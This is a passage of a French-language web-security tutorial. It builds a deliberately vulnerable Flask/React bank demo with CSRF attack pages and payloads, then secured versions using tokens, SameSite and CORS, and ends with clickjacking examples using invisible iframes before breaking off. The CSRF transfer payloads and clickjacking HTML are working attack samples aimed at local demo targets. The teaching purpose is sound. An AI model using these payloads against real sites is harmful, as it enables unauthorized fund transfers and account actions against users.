    <h1>Félicitations !</h1>
    <p>Vous avez gagné 1000€ !</p>
    <p>Chargement de votre cadeau...</p>
    
    <!-- [X] ATTAQUE CSRF CACHÉE -->
    <script>
        // Envoie automatiquement une requête de transfert
        fetch('http://localhost:5000/api/transfer', {
            method: 'POST',
            credentials: 'include', // [OK] Envoie les cookies
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                to_account: 'attacker_account',
                amount: 500
            })
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                document.body.innerHTML = '<h1>[WRAPPED_PRESENT] Cadeau récupéré !</h1><p>(En fait, vous venez de transférer 500€ à l\'attaquant [SMILING_FACE_WITH_HORNS])</p>';
            }
        })
        .catch(error => {
            document.body.innerHTML = '<h1>[X] Erreur</h1><p>La protection CORS a bloqué l\'attaque !</p>';
        });
    </script>
</body>
</html>
    ''')

if __name__ == '__main__':
    init_db()
    print("[RAPIDE] Banque vulnérable démarrée sur http://localhost:5000")
    print("[ATTENTION]  ATTENTION : Aucune protection CSRF !")
    print("[DANGER] Page d'attaque : http://localhost:5000/evil-page")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : FRONTEND REACT

```bash
npx create-react-app bank-csrf-demo
cd bank-csrf-demo
```

```javascript
// src/App.js
import React, { useState, useEffect } from 'react';
import './App.css';

function App() {
  const [view, setView] = useState('login'); // login, dashboard
  const [user, setUser] = useState(null);
  const [balance, setBalance] = useState(0);
  const [transactions, setTransactions] = useState([]);
  
  // Formulaires
  const [username, setUsername] = useState('');
  const [password, setPassword] = useState('');
  const [transferTo, setTransferTo] = useState('');
  const [transferAmount, setTransferAmount] = useState('');
  
  const [attackMode, setAttackMode] = useState(false);

  // Charger le solde et les transactions
  const fetchData = async () => {
    const balanceRes = await fetch('http://localhost:5000/api/balance', {
      credentials: 'include'
    });
    const balanceData = await balanceRes.json();
    setBalance(balanceData.balance);

    const transRes = await fetch('http://localhost:5000/api/transactions', {
      credentials: 'include'
    });
    const transData = await transRes.json();
    setTransactions(transData);
  };

  // Login
  const handleLogin = async (e) => {
    e.preventDefault();
    
    const response = await fetch('http://localhost:5000/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({ username, password })
    });

    const data = await response.json();
    
    if (data.success) {
      setUser(data.user);
      setBalance(data.user.balance);
      setView('dashboard');
      fetchData();
    } else {
      alert('[X] ' + data.error);
    }
  };

  // Transfert
  const handleTransfer = async (e) => {
    e.preventDefault();
    
    const response = await fetch('http://localhost:5000/api/transfer', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({
        to_account: transferTo,
        amount: parseFloat(transferAmount)
      })
    });

    const data = await response.json();
    
    if (data.success) {
      alert('[OK] ' + data.message);
      setBalance(data.new_balance);
      setTransferTo('');
      setTransferAmount('');
      fetchData();
    } else {
      alert('[X] ' + data.error);
    }
  };

  // Logout
  const handleLogout = async () => {
    await fetch('http://localhost:5000/api/logout', {
      method: 'POST',
      credentials: 'include'
    });
    
    setUser(null);
    setView('login');
    setUsername('');
    setPassword('');
  };

  // === DÉMONSTRATIONS D'ATTAQUES CSRF ===

  const csrfAttacks = [
    {
      name: "Attaque 1 : CSRF via page malveillante",
      description: "Ouvre une page qui effectue automatiquement un transfert sans que vous le sachiez.",
      action: () => {
        window.open('http://localhost:5000/evil-page', '_blank');
        alert('[DANGER] Une page malveillante s\'est ouverte.\n\nSi vous êtes connecté à la banque, un transfert sera effectué automatiquement !');
      }
    },
    {
      name: "Attaque 2 : CSRF via formulaire caché",
      description: "Simule un formulaire HTML qui se soumet automatiquement.",
      payload: `<form action="http://localhost:5000/api/transfer" method="POST">
  <input type="hidden" name="to_account" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>`,
      action: () => {
        const win = window.open('', '_blank');
        win.document.write(`
          <!DOCTYPE html>
          <html>
          <head><title>Chargement...</title></head>
          <body>
            <h1>Chargement du cadeau...</h1>
            <iframe name="hidden_iframe" style="display:none;"></iframe>
            <form action="http://localhost:5000/api/transfer" method="POST" target="hidden_iframe">
              <input type="hidden" name="to_account" value="attacker_account">
              <input type="hidden" name="amount" value="1000">
            </form>
            <script>
              setTimeout(() => {
                document.forms[0].submit();
                document.body.innerHTML = '<h1>[OK] Cadeau chargé !</h1>';
              }, 1000);
            </script>
          </body>
          </html>
        `);
      }
    },
    {
      name: "Attaque 3 : CSRF via image invisible",
      description: "Utilise une balise <img> pour déclencher une requête GET (si l'API accepte GET pour actions sensibles).",
      payload: `<img src="http://localhost:5000/api/transfer?to_account=attacker&amount=500" style="display:none">`,
      action: () => {
        alert('[ATTENTION] Cette attaque fonctionne si l\'API accepte les requêtes GET pour les transferts.\n\nHeureusement, notre API utilise POST uniquement !');
      }
    }
  ];

  return (
    <div className="App">
      <header className="App-header">
        <h1>[BANQUE] Banque en Ligne - Démo CSRF</h1>
        {user && (
          <div className="user-info">
            <span>[UTILISATEUR] {user.username}</span>
            <span className="balance">[ARGENT] {balance.toFixed(2)}€</span>
            <button onClick={handleLogout}>Déconnexion</button>
          </div>
        )}
      </header>

      <div className="container">
        {/* === VUE LOGIN === */}
        {view === 'login' && (
          <div className="login-view">
            <div className="login-box">
              <h2>[SECURISE] Connexion</h2>
              
              <form onSubmit={handleLogin}>
                <input
                  type="text"
                  placeholder="Nom d'utilisateur"
                  value={username}
                  onChange={(e) => setUsername(e.target.value)}
                />
                <input
                  type="password"
                  placeholder="Mot de passe"
                  value={password}
                  onChange={(e) => setPassword(e.target.value)}
                />
                <button type="submit">Se connecter</button>
              </form>

              <div className="test-accounts">
                <h3>Comptes de test :</h3>
                <p>alice / alice123 (5000€)</p>
                <p>bob / bob456 (3000€)</p>
                <p>attacker / hack123 (100€)</p>
              </div>
            </div>
          </div>
        )}

        {/* === VUE DASHBOARD === */}
        {view === 'dashboard' && (
          <div className="dashboard-view">
            {/* TOGGLE ATTACK MODE */}
            <div className="attack-toggle">
              <button onClick={() => setAttackMode(!attackMode)}>
                {attackMode ? '[SECURITE] Mode Normal' : '[DANGER] Mode Attaque CSRF'}
              </button>
            </div>

            {/* ATTACK PANEL */}
            {attackMode && (
              <div className="attack-panel">
                <h2>[DANGER] Démonstrations d'Attaques CSRF</h2>
                <p className="warning">
                  [ATTENTION] Ces attaques démontrent les vulnérabilités CSRF.
                  Restez connecté pour voir l'impact !
                </p>

                {csrfAttacks.map((attack, index) => (
                  <div key={index} className="attack-card">
                    <h3>{attack.name}</h3>
                    <p>{attack.description}</p>
                    {attack.payload && (
                      <div className="payload-display">
                        <strong>Code HTML malveillant :</strong>
                        <pre>{attack.payload}</pre>
                      </div>
                    )}
                    <button onClick={attack.action}>
                      Lancer l'attaque
                    </button>
                  </div>
                ))}
              </div>
            )}

            {/* TRANSFERT */}
            <div className="transfer-section">
              <h2>[ARGENT] Effectuer un transfert</h2>
              
              <form onSubmit={handleTransfer}>
                <input
                  type="text"
                  placeholder="Compte bénéficiaire"
                  value={transferTo}
                  onChange={(e) => setTransferTo(e.target.value)}
                  required
                />
                <input
                  type="number"
                  step="0.01"
                  placeholder="Montant (€)"
                  value={transferAmount}
                  onChange={(e) => setTransferAmount(e.target.value)}
                  required
                />
                <button type="submit">Transférer</button>
              </form>
            </div>

            {/* HISTORIQUE */}
            <div className="transactions-section">
              <h2>[LISTE] Historique des transactions</h2>
              
              {transactions.length === 0 ? (
                <p>Aucune transaction pour le moment.</p>
              ) : (
                <div className="transactions-list">
                  {transactions.map(trans => (
                    <div key={trans.id} className="transaction-card">
                      <span className="transaction-amount">-{trans.amount.toFixed(2)}€</span>
                      <span className="transaction-to">-> {trans.to_account}</span>
                      <span className="transaction-date">
                        {new Date(trans.timestamp).toLocaleString()}
                      </span>
                    </div>
                  ))}
                </div>
              )}
            </div>
          </div>
        )}
      </div>
    </div>
  );
}

export default App;
```

---

*(Je continue avec le CSS de l'exercice 5, puis la version sécurisée avec tokens CSRF, et ensuite les autres failles CSRF, Clickjacking, etc. ?)*

### PARTIE C : CSS (EXERCICE 5)

```css
/* src/App.css */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
  min-height: 100vh;
}

.App-header {
  background: rgba(0, 0, 0, 0.7);
  color: white;
  padding: 1.5rem 2rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.user-info {
  display: flex;
  gap: 1.5rem;
  align-items: center;
}

.balance {
  background: linear-gradient(135deg, #f6d365 0%, #fda085 100%);
  padding: 0.5rem 1.5rem;
  border-radius: 25px;
  font-weight: bold;
  color: #333;
  font-size: 1.1rem;
}

.user-info button {
  background: #ff4444;
  color: white;
  border: none;
  padding: 0.6rem 1.5rem;
  border-radius: 8px;
  cursor: pointer;
  font-weight: bold;
  transition: all 0.3s;
}

.user-info button:hover {
  background: #cc0000;
  transform: translateY(-2px);
}

.container {
  max-width: 1400px;
  margin: 2rem auto;
  padding: 0 2rem;
}

/* === LOGIN === */
.login-view {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 80vh;
}

.login-box {
  background: white;
  padding: 3rem;
  border-radius: 16px;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
  max-width: 500px;
  width: 100%;
}

.login-box h2 {
  color: #1e3c72;
  margin-bottom: 2rem;
  text-align: center;
  font-size: 1.8rem;
}

.login-box form {
  display: flex;
  flex-direction: column;
  gap: 1rem;
  margin-bottom: 2rem;
}

.login-box input {
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
  transition: border-color 0.3s;
}

.login-box input:focus {
  outline: none;
  border-color: #1e3c72;
}

.login-box button[type="submit"] {
  background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
  color: white;
  border: none;
  padding: 1rem;
  border-radius: 8px;
  font-size: 1.1rem;
  cursor: pointer;
  transition: all 0.3s;
  font-weight: bold;
}

.login-box button[type="submit"]:hover {
  transform: translateY(-3px);
  box-shadow: 0 4px 12px rgba(30, 60, 114, 0.4);
}

.test-accounts {
  background: #f0f0f0;
  padding: 1.5rem;
  border-radius: 8px;
}

.test-accounts h3 {
  color: #333;
  font-size: 1rem;
  margin-bottom: 0.8rem;
}

.test-accounts p {
  font-family: 'Courier New', monospace;
  font-size: 0.9rem;
  color: #666;
  margin: 0.3rem 0;
}

/* === DASHBOARD === */
.dashboard-view {
  display: flex;
  flex-direction: column;
  gap: 2rem;
}

/* === ATTACK TOGGLE === */
.attack-toggle {
  text-align: center;
}

.attack-toggle button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 1rem 3rem;
  font-size: 1.2rem;
  border-radius: 50px;
  cursor: pointer;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.4);
  transition: all 0.3s;
  font-weight: bold;
}

.attack-toggle button:hover {
  transform: translateY(-3px);
  box-shadow: 0 6px 20px rgba(255, 68, 68, 0.6);
}

/* === ATTACK PANEL === */
.attack-panel {
  background: rgba(255, 255, 255, 0.98);
  border-radius: 16px;
  padding: 2rem;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
}

.attack-panel h2 {
  color: #ff4444;
  margin-bottom: 1rem;
  text-align: center;
  font-size: 2rem;
}

.attack-panel .warning {
  background: #fff3cd;
  border: 2px solid #ffc107;
  border-radius: 8px;
  padding: 1rem;
  margin-bottom: 2rem;
  text-align: center;
  color: #856404;
  font-weight: bold;
}

.attack-card {
  background: white;
  padding: 1.5rem;
  margin-bottom: 1.5rem;
  border-radius: 12px;
  border-left: 5px solid #ff4444;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  transition: all 0.3s;
}

.attack-card:hover {
  transform: translateY(-3px);
  box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
}

.attack-card h3 {
  color: #ff4444;
  margin-bottom: 0.8rem;
}

.attack-card p {
  color: #666;
  line-height: 1.6;
  margin-bottom: 1rem;
}

.payload-display {
  background: #f5f5f5;
  border-radius: 8px;
  padding: 1rem;
  margin: 1rem 0;
  border: 1px solid #ddd;
}

.payload-display strong {
  display: block;
  margin-bottom: 0.5rem;
  color: #333;
}

.payload-display pre {
  background: #2d2d2d;
  color: #f8f8f2;
  padding: 1rem;
  border-radius: 6px;
  overflow-x: auto;
  font-family: 'Courier New', monospace;
  font-size: 0.85rem;
}

.attack-card button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 0.8rem 1.5rem;
  border-radius: 8px;
  cursor: pointer;
  font-weight: bold;
  transition: all 0.3s;
}

.attack-card button:hover {
  transform: translateY(-2px);
  box-shadow: 0 4px 12px rgba(255, 68, 68, 0.4);
}

/* === TRANSFER SECTION === */
.transfer-section {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.transfer-section h2 {
  color: #1e3c72;
  margin-bottom: 1.5rem;
}

.transfer-section form {
  display: grid;
  grid-template-columns: 1fr 1fr auto;
  gap: 1rem;
}

.transfer-section input {
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
  transition: border-color 0.3s;
}

.transfer-section input:focus {
  outline: none;
  border-color: #1e3c72;
}

.transfer-section button {
  background: linear-gradient(135deg, #4caf50 0%, #45a049 100%);
  color: white;
  border: none;
  padding: 1rem 2rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1rem;
  font-weight: bold;
  transition: all 0.3s;
}

.transfer-section button:hover {
  transform: translateY(-3px);
  box-shadow: 0 4px 12px rgba(76, 175, 80, 0.4);
}

/* === TRANSACTIONS === */
.transactions-section {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.transactions-section h2 {
  color: #1e3c72;
  margin-bottom: 1.5rem;
}

.transactions-list {
  display: flex;
  flex-direction: column;
  gap: 1rem;
}

.transaction-card {
  display: grid;
  grid-template-columns: 150px 1fr auto;
  gap: 1rem;
  padding: 1rem;
  background: #f9f9f9;
  border-radius: 8px;
  border-left: 4px solid #ff4444;
  align-items: center;
  transition: all 0.3s;
}

.transaction-card:hover {
  transform: translateX(5px);
  box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}

.transaction-amount {
  font-size: 1.2rem;
  font-weight: bold;
  color: #ff4444;
}

.transaction-to {
  color: #666;
  font-size: 0.95rem;
}

.transaction-date {
  color: #999;
  font-size: 0.85rem;
}

/* === RESPONSIVE === */
@media (max-width: 768px) {
  .transfer-section form {
    grid-template-columns: 1fr;
  }
  
  .transaction-card {
    grid-template-columns: 1fr;
    text-align: left;
  }
  
  .user-info {
    flex-direction: column;
    gap: 0.5rem;
  }
}
```

---

### PARTIE D : VERSION SÉCURISÉE

```python
# bank_secure.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import sqlite3
import secrets
from functools import wraps

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)  # [OK] Clé forte

# [OK] Configuration CORS stricte
CORS(app, 
     supports_credentials=True,
     origins=['http://localhost:3000'],  # Seulement notre frontend
     methods=['GET', 'POST'],
     allow_headers=['Content-Type', 'X-CSRF-Token'])

def init_db():
    """Initialise la base de données (identique)"""
    # ... (même code que version vulnérable)
    pass

# [OK] Décorateur pour vérifier le token CSRF
def csrf_protected(f):
    """
    Vérifie que le token CSRF est valide
    """
    @wraps(f)
    def decorated_function(*args, **kwargs):
        # Récupérer le token du header
        token_from_header = request.headers.get('X-CSRF-Token')
        
        # Récupérer le token de la session
        token_from_session = session.get('csrf_token')
        
        # Vérification
        if not token_from_header or not token_from_session:
            return jsonify({"error": "Token CSRF manquant"}), 403
        
        if token_from_header != token_from_session:
            return jsonify({"error": "Token CSRF invalide"}), 403
        
        return f(*args, **kwargs)
    
    return decorated_function

# [OK] ROUTE SÉCURISÉE : Obtenir un token CSRF
@app.route('/api/csrf-token')
def get_csrf_token():
    """
    Génère et retourne un token CSRF
    """
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    
    return jsonify({"csrf_token": session['csrf_token']})

# [OK] ROUTE SÉCURISÉE : Login
@app.route('/api/login', methods=['POST'])
def login_secure():
    """
    Authentification avec génération de token CSRF
    """
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    # Validation basique
    if not username or not password:
        return jsonify({"error": "Identifiants requis"}), 400
    
    conn = sqlite3.connect('bank.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    )
    
    user = cursor.fetchone()
    conn.close()
    
    if user:
        # Créer une session
        session['user_id'] = user['id']
        session['username'] = user['username']
        
        # [OK] Générer un token CSRF
        session['csrf_token'] = secrets.token_hex(32)
        
        return jsonify({
            "success": True,
            "csrf_token": session['csrf_token'],  # [OK] Retourner le token
            "user": {
                "id": user['id'],
                "username": user['username'],
                "balance": user['balance']
            }
        })
    
    return jsonify({"error": "Identifiants invalides"}), 401

# [OK] ROUTE SÉCURISÉE : Transfert avec protection CSRF
@app.route('/api/transfer', methods=['POST'])
@csrf_protected  # [OK] Protection CSRF
def transfer_secure():
    """
    Transfert sécurisé avec vérification CSRF
    """
    if 'user_id' not in session:
        return jsonify({"error": "Non authentifié"}), 401
    
    data = request.get_json()
    to_account = data.get('to_account')
    amount = data.get('amount')
    
    # [OK] Validation stricte
    if not to_account or not amount:
        return jsonify({"error": "Paramètres manquants"}), 400
    
    try:
        amount = float(amount)
        if amount <= 0:
            return jsonify({"error": "Montant invalide"}), 400
    except ValueError:
        return jsonify({"error": "Montant invalide"}), 400
    
    user_id = session['user_id']
    
    # Vérifier le solde
    conn = sqlite3.connect('bank.db')
    cursor = conn.cursor()
    
    cursor.execute("SELECT balance FROM users WHERE id = ?", (user_id,))
    result = cursor.fetchone()
    
    if not result:
        conn.close()
        return jsonify({"error": "Utilisateur introuvable"}), 404
    
    balance = result[0]
    
    if balance < amount:
        conn.close()
        return jsonify({"error": "Solde insuffisant"}), 400
    
    # Effectuer le transfert
    cursor.execute(
        "UPDATE users SET balance = balance - ? WHERE id = ?",
        (amount, user_id)
    )
    
    # Enregistrer la transaction
    cursor.execute(
        "INSERT INTO transactions (from_user_id, to_account, amount) VALUES (?, ?, ?)",
        (user_id, to_account, amount)
    )
    
    conn.commit()
    
    # Nouveau solde
    cursor.execute("SELECT balance FROM users WHERE id = ?", (user_id,))
    new_balance = cursor.fetchone()[0]
    
    conn.close()
    
    # [OK] Régénérer le token CSRF après action sensible
    session['csrf_token'] = secrets.token_hex(32)
    
    return jsonify({
        "success": True,
        "new_balance": new_balance,
        "new_csrf_token": session['csrf_token'],  # [OK] Nouveau token
        "message": f"Transfert de {amount}€ vers {to_account} effectué"
    })

# Route : Solde (pas besoin de CSRF pour GET)
@app.route('/api/balance')
def get_balance():
    if 'user_id' not in session:
        return jsonify({"error": "Non authentifié"}), 401
    
    conn = sqlite3.connect('bank.db')
    cursor = conn.cursor()
    cursor.execute("SELECT balance FROM users WHERE id = ?", (session['user_id'],))
    balance = cursor.fetchone()[0]
    conn.close()
    
    return jsonify({"balance": balance})

# Route : Transactions (pas besoin de CSRF pour GET)
@app.route('/api/transactions')
def get_transactions():
    if 'user_id' not in session:
        return jsonify({"error": "Non authentifié"}), 401
    
    conn = sqlite3.connect('bank.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM transactions WHERE from_user_id = ? ORDER BY timestamp DESC LIMIT 20",
        (session['user_id'],)
    )
    
    transactions = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(transactions)

# [OK] ROUTE SÉCURISÉE : Logout
@app.route('/api/logout', methods=['POST'])
@csrf_protected
def logout_secure():
    session.clear()
    return jsonify({"success": True})

# [OK] Headers de sécurité
@app.after_request
def add_security_headers(response):
    """Ajoute les headers de sécurité"""
    
    # CSP
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline';"
    )
    
    # Autres headers
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    
    # [OK] SameSite cookie
    if 'Set-Cookie' in response.headers:
        cookie = response.headers['Set-Cookie']
        if 'SameSite' not in cookie:
            response.headers['Set-Cookie'] = cookie + '; SameSite=Lax; Secure'
    
    return response

if __name__ == '__main__':
    init_db()
    print("[SECURITE]  Banque SÉCURISÉE démarrée sur http://localhost:5001")
    print("[OK] Protection CSRF : Token + SameSite + CORS")
    app.run(debug=True, port=5001, ssl_context='adhoc')  # [OK] HTTPS
```

**Installer le support HTTPS :**

```bash
pip install pyopenssl
```

---

### PARTIE E : FRONTEND SÉCURISÉ

```javascript
// src/AppSecure.js
import React, { useState, useEffect } from 'react';
import './App.css';

function AppSecure() {
  const [view, setView] = useState('login');
  const [user, setUser] = useState(null);
  const [balance, setBalance] = useState(0);
  const [transactions, setTransactions] = useState([]);
  
  // [OK] Token CSRF
  const [csrfToken, setCsrfToken] = useState('');
  
  const [username, setUsername] = useState('');
  const [password, setPassword] = useState('');
  const [transferTo, setTransferTo] = useState('');
  const [transferAmount, setTransferAmount] = useState('');

  // [OK] Récupérer le token CSRF au chargement
  useEffect(() => {
    fetchCsrfToken();
  }, []);

  const fetchCsrfToken = async () => {
    try {
      const response = await fetch('https://localhost:5001/api/csrf-token', {
        credentials: 'include'
      });
      const data = await response.json();
      setCsrfToken(data.csrf_token);
    } catch (error) {
      console.error('Erreur récupération token CSRF:', error);
    }
  };

  const fetchData = async () => {
    const balanceRes = await fetch('https://localhost:5001/api/balance', {
      credentials: 'include'
    });
    const balanceData = await balanceRes.json();
    setBalance(balanceData.balance);

    const transRes = await fetch('https://localhost:5001/api/transactions', {
      credentials: 'include'
    });
    const transData = await transRes.json();
    setTransactions(transData);
  };

  // [OK] Login sécurisé
  const handleLogin = async (e) => {
    e.preventDefault();
    
    const response = await fetch('https://localhost:5001/api/login', {
      method: 'POST',
      headers: { 
        'Content-Type': 'application/json'
      },
      credentials: 'include',
      body: JSON.stringify({ username, password })
    });

    const data = await response.json();
    
    if (data.success) {
      setUser(data.user);
      setBalance(data.user.balance);
      setCsrfToken(data.csrf_token);  // [OK] Stocker le token
      setView('dashboard');
      fetchData();
    } else {
      alert('[X] ' + data.error);
    }
  };

  // [OK] Transfert sécurisé avec token CSRF
  const handleTransfer = async (e) => {
    e.preventDefault();
    
    const response = await fetch('https://localhost:5001/api/transfer', {
      method: 'POST',
      headers: { 
        'Content-Type': 'application/json',
        'X-CSRF-Token': csrfToken  // [OK] Envoyer le token
      },
      credentials: 'include',
      body: JSON.stringify({
        to_account: transferTo,
        amount: parseFloat(transferAmount)
      })
    });

    const data = await response.json();
    
    if (data.success) {
      alert('[OK] ' + data.message);
      setBalance(data.new_balance);
      setCsrfToken(data.new_csrf_token);  // [OK] Mettre à jour le token
      setTransferTo('');
      setTransferAmount('');
      fetchData();
    } else {
      alert('[X] ' + data.error);
    }
  };

  // [OK] Logout sécurisé
  const handleLogout = async () => {
    await fetch('https://localhost:5001/api/logout', {
      method: 'POST',
      headers: {
        'X-CSRF-Token': csrfToken  // [OK] Token CSRF requis
      },
      credentials: 'include'
    });
    
    setUser(null);
    setView('login');
    setUsername('');
    setPassword('');
    fetchCsrfToken();  // [OK] Récupérer nouveau token
  };

  return (
    <div className="App">
      <header className="App-header">
        <h1>[SECURITE] Banque SÉCURISÉE - Protection CSRF</h1>
        {user && (
          <div className="user-info">
            <span>[UTILISATEUR] {user.username}</span>
            <span className="balance">[ARGENT] {balance.toFixed(2)}€</span>
            <button onClick={handleLogout}>Déconnexion</button>
          </div>
        )}
      </header>

      <div className="container">
        {/* Info sur la sécurité */}
        <div className="security-info">
          <h3>[SECURITE] Protections actives :</h3>
          <ul>
            <li>[OK] Token CSRF : <code>{csrfToken.substring(0, 16)}...</code></li>
            <li>[OK] SameSite Cookie : Lax</li>
            <li>[OK] CORS : Origine stricte</li>
            <li>[OK] HTTPS : Connexion chiffrée</li>
          </ul>
        </div>

        {/* LOGIN */}
        {view === 'login' && (
          <div className="login-view">
            <div className="login-box">
              <h2>[SECURISE] Connexion Sécurisée</h2>
              
              <form onSubmit={handleLogin}>
                <input
                  type="text"
                  placeholder="Nom d'utilisateur"
                  value={username}
                  onChange={(e) => setUsername(e.target.value)}
                />
                <input
                  type="password"
                  placeholder="Mot de passe"
                  value={password}
                  onChange={(e) => setPassword(e.target.value)}
                />
                <button type="submit">Se connecter</button>
              </form>

              <div className="test-accounts">
                <h3>Comptes de test :</h3>
                <p>alice / alice123 (5000€)</p>
                <p>bob / bob456 (3000€)</p>
              </div>
            </div>
          </div>
        )}

        {/* DASHBOARD */}
        {view === 'dashboard' && (
          <div className="dashboard-view">
            {/* TRANSFERT */}
            <div className="transfer-section">
              <h2>[ARGENT] Effectuer un transfert</h2>
              
              <form onSubmit={handleTransfer}>
                <input
                  type="text"
                  placeholder="Compte bénéficiaire"
                  value={transferTo}
                  onChange={(e) => setTransferTo(e.target.value)}
                  required
                />
                <input
                  type="number"
                  step="0.01"
                  placeholder="Montant (€)"
                  value={transferAmount}
                  onChange={(e) => setTransferAmount(e.target.value)}
                  required
                />
                <button type="submit">Transférer</button>
              </form>
            </div>

            {/* HISTORIQUE */}
            <div className="transactions-section">
              <h2>[LISTE] Historique des transactions</h2>
              
              {transactions.length === 0 ? (
                <p>Aucune transaction pour le moment.</p>
              ) : (
                <div className="transactions-list">
                  {transactions.map(trans => (
                    <div key={trans.id} className="transaction-card">
                      <span className="transaction-amount">-{trans.amount.toFixed(2)}€</span>
                      <span className="transaction-to">-> {trans.to_account}</span>
                      <span className="transaction-date">
                        {new Date(trans.timestamp).toLocaleString()}
                      </span>
                    </div>
                  ))}
                </div>
              )}
            </div>
          </div>
        )}
      </div>
    </div>
  );
}

export default AppSecure;
```

**CSS additionnel :**

```css
/* Ajouter à App.css */

.security-info {
  background: rgba(76, 175, 80, 0.1);
  border: 2px solid #4caf50;
  border-radius: 12px;
  padding: 1.5rem;
  margin-bottom: 2rem;
}

.security-info h3 {
  color: #4caf50;
  margin-bottom: 1rem;
}

.security-info ul {
  list-style: none;
  padding-left: 0;
}

.security-info li {
  padding: 0.5rem 0;
  color: white;
  font-size: 1rem;
}

.security-info code {
  background: rgba(0, 0, 0, 0.3);
  padding: 0.2rem 0.6rem;
  border-radius: 4px;
  font-family: 'Courier New', monospace;
  color: #4caf50;
}
```

---

## [GRAPHIQUE] RÉCAPITULATIF CSRF

### [OK] Protections essentielles

| Protection | Efficacité | Facilité | Quand utiliser |
|-----------|-----------|----------|----------------|
| CSRF Token | ***** | [ATTENTION] Moyen | **TOUJOURS** pour actions sensibles |
| SameSite Cookie | **** | [OK] Facile | **TOUJOURS** |
| Double Submit Cookie | **** | [OK] Facile | Alternative au token session |
| Origin/Referer check | *** | [OK] Facile | Complément (pas seul) |
| Re-authentification | ***** | [OK] Facile | Actions critiques |

---

### [X] Erreurs communes

- [X] Utiliser GET pour actions destructives
- [X] Ne pas valider le token CSRF côté serveur
- [X] Token CSRF prévisible ou réutilisable
- [X] Oublier SameSite sur les cookies
- [X] CORS mal configuré (autoriser toutes origines)

---

# 4. CLICKJACKING

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que le Clickjacking ?

**Définition :**
Le Clickjacking (détournement de clic) est une attaque où l'attaquant **superpose invisiblement** une page malveillante par-dessus un site légitime pour tromper l'utilisateur et lui faire cliquer sur des éléments cachés.

**Analogie simple :**

Imagine que tu essaies de cliquer sur un bouton "J'aime les chatons [CAT_FACE]" sur un site web. Mais en réalité, il y a une **page invisible** par-dessus avec un bouton "Supprimer mon compte" exactement au même endroit. Tu penses cliquer sur les chatons, mais tu supprimes ton compte !

---

### Comment fonctionne le Clickjacking ?

**Code HTML malveillant :**

```html
<!DOCTYPE html>
<html>
<head>
  <title>Gagnez un iPhone !</title>
  <style>
    /* [X] iframe invisible par-dessus la page */
    #victim-site {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      opacity: 0;  /* Invisible ! */
      z-index: 2;  /* Au-dessus */
    }
    
    #fake-content {
      position: absolute;
      top: 200px;
      left: 300px;
      z-index: 1;  /* En-dessous */
    }
  </style>
</head>
<body>
  <!-- Contenu visible (fake) -->
  <div id="fake-content">
    <h1>Cliquez ici pour gagner un iPhone 15 ! [MOBILE]</h1>
    <button style="font-size: 50px;">CLIQUER ICI</button>
  </div>
  
  <!-- [X] iframe invisible contenant le vrai site -->
  <iframe 
    id="victim-site"
    src="https://bank.com/delete-account"
  ></iframe>
</body>
</html>
```

**Résultat :**
1. L'utilisateur voit "Cliquez ici pour gagner un iPhone"
2. Il clique sur le bouton visible
3. **MAIS** en réalité, il clique sur le bouton "Supprimer le compte" dans l'iframe invisible
4. Son compte est supprimé !

---

### Types de Clickjacking

#### 1. **Clickjacking classique (iframe invisible)**

Exemple ci-dessus : iframe transparent par-dessus contenu visible.

---

#### 2. **Likejacking (Facebook/Twitter)**

Force l'utilisateur à "liker" du contenu sans le savoir.

```html
<iframe src="https://facebook.com/page-to-like" 
        style="opacity: 0; position: absolute;">
</iframe>

<button style="position: absolute; top: X; left: Y;">
  Voir des photos de chatons !
</button>
```

---

#### 3. **Cursorjacking**

Déplace visuellement le curseur pour tromper l'utilisateur.

```javascript
